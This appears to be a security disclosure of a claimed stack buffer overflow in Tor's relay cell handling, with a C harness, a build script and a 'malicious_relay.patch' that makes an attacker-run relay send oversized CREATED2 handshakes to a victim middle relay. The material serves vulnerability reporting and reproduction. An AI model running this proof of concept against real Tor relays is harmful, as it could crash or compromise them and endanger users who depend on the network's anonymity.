Potential stack buffer overflow in cell handling code - TROVE-2026-003
Received this one today:
harness.c
/*
* Harness for stack-buffer-overflow in extended_cell_format()
* tor/src/core/or/onion.c
*
* Bug summary:
* When a middle relay receives a CREATED2 cell from the next hop and is
* not the circuit origin, it must convert the CREATED2 into an EXTENDED2
* relay cell to send back towards the client.
*
* command_process_created_cell() at src/core/or/command.c:414-483 does:
* uint8_t payload[RELAY_PAYLOAD_SIZE_MAX]; // 498-byte stack buffer
* created_cell_parse(&extended_cell.created_cell, cell);
* extended_cell.cell_type = RELAY_COMMAND_EXTENDED2;
* extended_cell_format(&command, &len, payload, &extended_cell);
*
* Constants:
* CELL_PAYLOAD_SIZE = 509
* RELAY_HEADER_SIZE_V0 = 11
* RELAY_PAYLOAD_SIZE_MAX = 509 - 11 = 498
* MAX_CREATED_LEN = 509 - 2 = 507
*
* created_cell_parse() (onion.c:197) accepts CREATED2 cells with
* handshake_len up to MAX_CREATED_LEN = 507:
* if (cell_out->handshake_len > MAX_CREATED_LEN) // 507
* return -1;
*
* extended_cell_format() (onion.c:649) then writes into payload_out:
* set_uint16(payload_out, htons(handshake_len)); // 2 bytes
* if (handshake_len > MAX_CREATED_LEN) return -1; // 507 -- WRONG BOUND
* memcpy(payload_out+2, reply, handshake_len); // up to 507 bytes
*
* Total bytes written = 2 + 507 = 509 into a 498-byte stack buffer.
* => 11-byte stack-buffer-overflow. The overflowed bytes come directly
* from the attacker-controlled CREATED2 cell payload.
*
* The correct check would be against RELAY_PAYLOAD_SIZE_MAX - 2 = 496,
* not MAX_CREATED_LEN = 507. The range [497, 507] triggers overflow.
*
* Attack vector:
* Attacker runs a relay R3. Any circuit extended through victim relay R2
* to R3 causes R2 to send CREATE2 to R3. R3 replies with a CREATED2 cell
* carrying handshake_len=507. R2 enters the non-origin branch of
* command_process_created_cell and the stack overflow fires.
* The attacker can orchestrate this by also running a client that builds
* a 3-hop circuit: attacker-client -> victim(R2) -> attacker-relay(R3).
*
* Input format (stdin):
* Raw 509-byte cell payload. First 2 bytes are handshake_len (big-endian),
* rest is handshake data. Harness constructs a cell_t with
* command=CELL_CREATED2 and this payload.
*
* This harness exactly mirrors the non-origin branch of
* command_process_created_cell() at src/core/or/command.c:458-482.
*/
#include "core/or/or.h"
#include "core/or/onion.h"
#include "core/or/cell_st.h"
#include "test/fuzz/fuzzing.h"
#include <string.h>
#include <stdio.h>
int fuzz_init(void)
{
return 0;
}
int fuzz_cleanup(void)
{
return 0;
}
/* Mirror command_process_created_cell's non-origin branch.
* Keep this as a separate non-inlined function so ASan instruments the
* stack array with redzones identically to how it does in command.c. */
static void __attribute__((noinline))
process_created_as_middle_relay(const cell_t *cell)
{
extended_cell_t extended_cell;
/* command.c:436 -- parse the incoming CREATED2 cell.
* For CREATED2 with handshake_len <= 507, this succeeds. */
if (created_cell_parse(&extended_cell.created_cell, cell) < 0) {
fprintf(stderr, "[harness] created_cell_parse rejected input\n");
return;
}
fprintf(stderr, "[harness] parsed CREATED2, handshake_len=%u\n",
extended_cell.created_cell.handshake_len);
/* command.c:458-469 -- non-origin branch: pack into EXTENDED2 */
uint8_t command = 0;
uint16_t len = 0;
uint8_t payload[RELAY_PAYLOAD_SIZE_MAX]; /* 498 bytes on the stack */
memset(payload, 0, sizeof(payload));
if (extended_cell.created_cell.cell_type == CELL_CREATED2)
extended_cell.cell_type = RELAY_COMMAND_EXTENDED2;
else
extended_cell.cell_type = RELAY_COMMAND_EXTENDED;
fprintf(stderr, "[harness] calling extended_cell_format with %zu-byte "
"stack buffer\n", sizeof(payload));
/* THE BUG: extended_cell_format writes 2 + handshake_len bytes into
* payload. For handshake_len > 496, this overflows the 498-byte
* stack array. onion.c:667 checks against MAX_CREATED_LEN (507)
* instead of RELAY_PAYLOAD_SIZE_MAX - 2 (496). */
if (extended_cell_format(&command, &len, payload, &extended_cell) < 0) {
fprintf(stderr, "[harness] extended_cell_format returned -1\n");
return;
}
fprintf(stderr, "[harness] extended_cell_format wrote len=%u "
"(buffer is %zu bytes)\n", len, sizeof(payload));
}
int fuzz_main(const uint8_t *data, size_t sz)
{
/* Need at least 2 bytes for the handshake_len field. */
if (sz < 2)
return 0;
/* Build a cell_t as it would arrive off the wire at a relay.
* cell_t.payload is a fixed 509-byte array; zero-pad if input shorter. */
cell_t cell;
memset(&cell, 0, sizeof(cell));
cell.circ_id = 0x12345678;
cell.command = CELL_CREATED2;
size_t copy = sz < CELL_PAYLOAD_SIZE ? sz : CELL_PAYLOAD_SIZE;
memcpy(cell.payload, data, copy);
process_created_as_middle_relay(&cell);
return 0;
}
build.sh
#!/bin/bash
# ============================================================================
# build.sh - Build the PoC harness against real Tor code
#
# This script builds a test harness that links against the REAL Tor library
# (libtor-testing.a) compiled from the vulnerable Tor source tree.
# The harness calls the exact same functions (created_cell_parse,
# extended_cell_format) in the exact same order as the production code
# path in command_process_created_cell() at src/core/or/command.c:458-482.
#
# Build flags match the Debian/Ubuntu tor package defaults:
# gcc -O2 -fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE
# ============================================================================
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TOR_SRC="${SCRIPT_DIR}/../tor"
if [ ! -d "$TOR_SRC/src/core/or" ]; then
echo "ERROR: Tor source tree not found at $TOR_SRC"
echo "Clone it with: git clone https://gitlab.torproject.org/tpo/core/tor.git"
echo "Then checkout: git checkout df027b09cab75efa06efdaceccd00fcda7cc8dd1"
exit 1
fi
echo "[*] Tor source: $TOR_SRC"
echo "[*] Tor commit: $(cd "$TOR_SRC" && git log --oneline -1)"
# --- Step 1: Configure and build Tor with default (Debian) flags ---
if [ ! -f "$TOR_SRC/src/test/libtor-testing.a" ]; then
echo "[*] Building Tor with production-default flags (GCC, no sanitizers)..."
cd "$TOR_SRC"
if [ ! -f configure ]; then
./autogen.sh
fi
CC=gcc ./configure \
--disable-asciidoc --disable-manpage --disable-html-manual \
--disable-systemd --disable-seccomp --disable-libscrypt \
--disable-lzma --disable-zstd --disable-dependency-tracking
make -j"$(nproc)" micro-revision.i
make -j"$(nproc)" src/test/libtor-testing.a
fi
echo "[*] libtor-testing.a ready"
# --- Step 2: Compile harness with Debian-default flags ---
# These are the flags from dpkg-buildflags on Ubuntu 24.04:
# -g -O2 -fstack-protector-strong -fstack-clash-protection
# -mbranch-protection=standard -D_FORTIFY_SOURCE=2
DEBIAN_CFLAGS="-g -O2 -fstack-protector-strong -fstack-clash-protection \
-D_FORTIFY_SOURCE=2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 \
-fno-strict-aliasing -DTOR_UNIT_TESTS -DHAVE_CONFIG_H \
-I$TOR_SRC -I$TOR_SRC/src -I$TOR_SRC/src/ext -I$TOR_SRC/src/ext/trunnel"
echo "[*] Compiling harness with Debian-default flags..."
gcc -c $DEBIAN_CFLAGS "$TOR_SRC/src/test/fuzz/fuzzing_common.c" \
-o "$SCRIPT_DIR/fuzzing_common.o"
gcc -c $DEBIAN_CFLAGS -x c "$SCRIPT_DIR/harness.c" \
-o "$SCRIPT_DIR/harness.o"
gcc -fstack-protector-strong -fstack-clash-protection -pie \
"$SCRIPT_DIR/fuzzing_common.o" "$SCRIPT_DIR/harness.o" \
"$TOR_SRC/src/test/libtor-testing.a" \
-lssl -lcrypto -levent -lz -lcap -lm -lpthread \
-o "$SCRIPT_DIR/harness"
echo "[*] Harness built: $SCRIPT_DIR/harness"
echo "[*] Verifying stack protector is active..."
(nm -D "$SCRIPT_DIR/harness" 2>/dev/null || nm "$SCRIPT_DIR/harness" 2>/dev/null) | grep -q "__stack_chk" && \
echo " Stack canary: ENABLED" || echo " WARNING: stack canary not found"
file "$SCRIPT_DIR/harness"
echo "[*] Build complete."
malicious_relay.patch:
--- a/src/core/mainloop/cpuworker.c
+++ b/src/core/mainloop/cpuworker.c
@@ -523,7 +523,14 @@ cpuworker_onion_handshake_threadfn(void *state_, void *work_)
case CELL_CREATE:
cell_out->cell_type = CELL_CREATED; break;
case CELL_CREATE2:
- cell_out->cell_type = CELL_CREATED2; break;
+ cell_out->cell_type = CELL_CREATED2;
+ /* PoC: inflate handshake to trigger overflow on middle relay */
+ if (n < 507) {
+ memset(cell_out->reply + n, 0x41, 507 - n);
+ cell_out->handshake_len = 507;
+ log_warn(LD_OR, "PoC: inflated CREATED2 handshake_len from %d to 507", n);
+ }
+ break;
case CELL_CREATE_FAST:
cell_out->cell_type = CELL_CREATED_FAST; break;
default: